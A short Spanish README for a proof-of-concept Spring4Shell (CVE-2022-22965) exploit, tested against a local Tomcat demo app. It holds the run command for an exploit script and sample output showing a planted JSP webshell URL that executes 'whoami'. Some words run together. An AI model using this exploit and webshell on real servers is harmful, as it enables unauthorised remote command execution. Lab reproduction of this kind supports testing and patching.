
Prueba de concepto (PoC) del exploit para Spring4Shell (CVE-2022-22965) que despliega un webshell JSP mediante peticiones HTTP diseñadas a aplicaciones Spring Boot vulnerables en Apache Tomcat.
Descripción de la vulnerabilidad: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
Construcción del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC
Probado con JDK 11.0.14, Spring Boot 2.6.5 y Apache Tomcat 9.0.60
mvn clean package para construir la aplicacióndemo-0.0.1-SNAPSHOT.war a spring-poc.war y copia este archivo .war al directorio webapps de Tomcatpython exp.py --url http://localhost:8080/spring-poc/greeting
漏洞存在,shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoamitomcatwar.jspexp.py
